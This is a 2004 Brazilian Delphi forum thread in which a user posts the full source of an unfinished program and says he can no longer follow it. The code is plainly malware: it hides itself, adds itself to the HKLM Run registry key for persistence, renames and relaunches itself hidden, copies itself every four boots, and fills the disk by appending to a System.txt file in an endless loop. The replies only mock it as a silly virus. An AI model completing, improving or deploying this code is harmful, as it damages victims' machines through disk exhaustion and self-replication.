TButton.Click();

Delphi

17/03/2004

Escrevi o código abaixo faz uns 17 meses, porém, ainda não acabei. Então, após 17 meses, voltei ao sistema para terminá-lo mas não consigo entender mais merda nenhuma, pois existem funcoes e procedures que são chamadas através de outras funcoes ou procedimentos...


unit UPrincipal; 

interface 

uses 
Windows, Messages, SysUtils, Controls, StdCtrls, Classes,ExtCtrls,Variants, Graphics, Forms, 
Dialogs, Registry, ImgList; 

type 
TfrmPrincipal = class(TForm) 
Timer1: TTimer; 
procedure FormActivate(Sender: TObject); 
private 
{ Private declarations } 
public 
{ Public declarations } 
end; 

var 
frmPrincipal: TfrmPrincipal; 
Registro : Tregistry; 
Diretorio, Disco, Boot, Nome : String; 
C : Byte; {Auxilia na Capturação do nome que formará o arquivo, assim como sever de controle para o total de vezes executados que irá gerar a Multiplicação do mesmo} 
Arm : Variant; {Auxilia na Renomeação do arquivo} 
Nunca : Integer;{Procedure "SobreCarrega HD"} 
implementation 

uses Math; 


Procedure Alterar_Nome(Dat_Int : TDateTime);Forward;{"Infecta_Boot" Reconhecer "Alterar_Nome"} 
Procedure Registrar;Forward; {"Infecta_Boot" Reconhecer "Registrar"} 
Procedure Limpar_Registro;Forward;{"Alterar_Nome" Reconhecer "Limpar_Registro"} 
Procedure Total_Execucao;Forward;//"Infectar_Boot" Reconhecer "Total_Execucao" 
Procedure Multiplicar; Forward;//"Total_Execucao" Reconhecer "Multiplicar" 
Procedure Sobre_Carregar_HD;Forward;//"Infecta_Boot" Reconhecer "Sobre_Carregar_HD" 


Procedure Infectar_Boot;{ # INFECTA O BOOT DO SISTEMA  } 
Begin 
Diretorio := ExtractFilePath(Application.ExeName); 
Nome := ExtractFileName(Application.ExeName); 
Registro := TRegistry.Create; 
Registro.RootKey := HKEY_LOCAL_MACHINE; 
Total_Execucao;{Controla o total de vezes que o arquivo foi executao, para que o mesmo venha a Multiplicar} 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False);{"False" pq todas as versões do Win possuem essa chave} 
If Not Registro.ValueExists(´Version´)Then 
Disco := Registro.ReadString(´ProgramFilesDir´){ NT/2000/XP} 
Else 
Disco := Registro.ReadString(´SystemRoot´);{ Win9X/ME} 
Disco := Disco[1] + Disco[2] + Disco[3]; 
Boot := Disco; 
For C := 4 To Length(Diretorio)Do 
Boot := Boot + Copy(Diretorio,C,1); 
Boot := Boot + Nome; 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,True); 
If Not Registro.ValueExists(Nome)Then {Registra apenas o "Pai"} 
Begin 
Registro.WriteString(Nome,Boot);{# Infecta o Arquivo de Inicialização do Sistema } 
Registrar;{Chamada da Procedure "Registrar"} 
End 
Else 
Begin 
Alterar_Nome(Date); 
End; 
Registro.CloseKey; {Controla Todas as Procedures} 
FreeAndNil(Registro); {Controla Todas as Procedures} 
Sobre_Carregar_HD; 
{ CHAMADA DA PROCEDURE QUE ENCHERÁ O HD } 

End; 

Procedure Registrar;{Só entra aqui quando "Alterar_Nome" ou "Multiplicar"} 
Var Ano,Mes,Dia : Word; 
Begin 
DecodeDate(Date,Ano,Mes,Dia); 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,True); 
Registro.WriteInteger(Nome,Dia); //Só vai ser Registrado quando Alterar o Nome ou Multiplicar 
End; 

Procedure Alterar_Nome(Dat_Int : TDateTime); 
Var Ano,Mes,Dia : Word; 
Arq : TextFile; 
Novo_Nome : String; 
Begin 
Registro.CloseKey; 
DecodeDate(Dat_Int,Ano,Mes,Dia); 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False);{"False" pq Só chamara "Alterar_Nome" se já tiver Chamado a Procedure "Registrar", que, por sua vez, Criará a chave "CurrentVersion" caso ela não exista} 
If Not Registro.ValueExists(Nome)Then {Caso o usuário Exclua o valor da chave, ele criará novamente, evitando erros.} 
Begin 
Registro.WriteInteger(Nome,1); 
Exit; 
End 
Else 
If Dia <> Registro.ReadInteger(Nome)Then 
Begin 
Randomize; Novo_Nome := IntToStr(RandomRange(1,10000)); 
Arm := Novo_Nome; 
Limpar_Registro; 
AssignFile(Arq,Diretorio); 
RenameFile(Nome,Novo_Nome + ´.exe´); 
Nome := Novo_Nome + ´.exe´; 
WinExec(PAnsiChar(Nome),SW_HIDE); 
Application.Terminate; 
End; 
End; 

Procedure Limpar_Registro; 
Var Sempre : Byte; 
Begin 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,False); 
Registro.DeleteValue(Nome); 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False); 
Registro.DeleteValue(Nome); 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,False); 
Registro.RenameValue(Nome,IntToStr(Arm)+´.exe´); 
Sempre := Registro.ReadInteger(Arm+´.exe´) - 1;{Diminui de uma unidade o total de execução, pois, quando o programa sair desta Procedure, ele irá executar o Programa renomeado, adicionando-o uma unidade neste Valor da chave} 
Registro.WriteInteger(Arm+´.exe´,Sempre); 
End; 

Procedure Total_Execucao; 
Begin 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,True); 
If not Registro.ValueExists(Nome) Then 
Registro.WriteInteger(Nome,1) 
Else 
Begin 
C := 1 + Registro.ReadInteger(Nome); 
Registro.WriteInteger(Nome,C); 
Multiplicar; 
End; 
Registro.CloseKey; 
End; 


Procedure Multiplicar;{ # INÍCIO DA PERMUTAÇÃO  } 
Var Arq : TextFile; 
Nome_Arq_Ger: String;{Nome_Arq_Ger - Nome do Arquivo que vai ser Gerado} 
Begin 
If Registro.ReadInteger(Nome) >= 4 Then {A cada 4 "Boots" do Sistema, haverá a multiplicação} 
Begin 
Randomize; Nome_Arq_Ger := IntToStr(RandomRange(10001,20000)); 
Registro.WriteInteger(Nome,1);{Zera a contagem para uma próxima permutação} 
AssignFile(Arq,Diretorio); 
CopyFile(PAnsiChar(Nome),PAnsiChar(Nome_Arq_Ger+´.exe´),Longbool(Diretorio)); 
Nome := Nome_Arq_Ger+´.exe´;{Troca de nome para evitar que o arquivo gerado atue como o arquivo que lhe gerou} 
Registrar; 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,False); 
Registro.WriteString(Nome,Diretorio + Nome); 
Registro.CloseKey; 
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,False); 
Registro.WriteInteger(Nome,1); 
End; 
End; 

Procedure Habitat; 
Begin 
{# CRIAR UM DIRETÓRIO PARA GUARDAR TODOS OS ARQQUIVOS E OCULTÁ-LO } 
End; 

Procedure Sobre_Carregar_HD; 
Var Detona : TextFile; 
Begin 
Try 
AssignFile(Detona, Disco + ´System.txt´); 
Repeat 
If not FileExists(Disco + ´System.txt´)Then 
Begin 
Rewrite(Detona); 
CloseFile(Detona); 
End 
Else 
Begin 
Append(Detona); 
Application.ProcessMessages;{Dará Sempre um "Alôzinho" para o Windows} 
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+).....   ´); 
Write(Detona, ´0000000000000000000000000000000000000000´); 
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+).....   ´); 
Write(Detona, ´0000000000000000000000000000000000000000´); 
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+).....   ´); 
Write(Detona, ´0000000000000000000000000000000000000000´); 
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+).....   ´); 
Write(Detona, ´0000000000000000000000000000000000000000´); 
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+).....   ´); 
Write(Detona, ´0000000000000000000000000000000000000000´); 
CloseFile(Detona); 
Inc(Nunca); 
End; 
Until(Nunca = 1000000000000000000); 
Finally 
Application.Terminate; 
End; 
End; 

{$R *.dfm} 

procedure TfrmPrincipal.FormActivate(Sender: TObject); 
begin 
ShowWindow(Application.Handle,SW_HIDE);{Oculta a aplicação da Barra de Tarefas} 
Infectar_Boot; 
Application.Minimize; 
end; 

Initialization 
Nunca := 0; 

end. 



Rômulo Barros

Rômulo Barros

Curtidas 0

Respostas

Maicongabriel

Maicongabriel

17/03/2004

E qual é a [b:577554ad17]duvida[/b:577554ad17] ?
Você quer uma aula sobre o ´seu próprio código´ ? :lol:


GOSTEI 0
Lucas Silva

Lucas Silva

17/03/2004

E qual é a [b:f721624cd7]duvida[/b:f721624cd7] ? Você quer uma aula sobre o ´seu próprio código´ ? :lol:


Concordo!


procure colocar títulos que condizem realmente com a sua dúvida...


GOSTEI 0
Emerson Nascimento

Emerson Nascimento

17/03/2004

´viruzinho´ sem-vergonha...


GOSTEI 0
Adsilver

Adsilver

17/03/2004

Que vírus ridículo... só faltou pedir para o usuário clicar em algum menu ou coisa assim.... :|


GOSTEI 0
POSTAR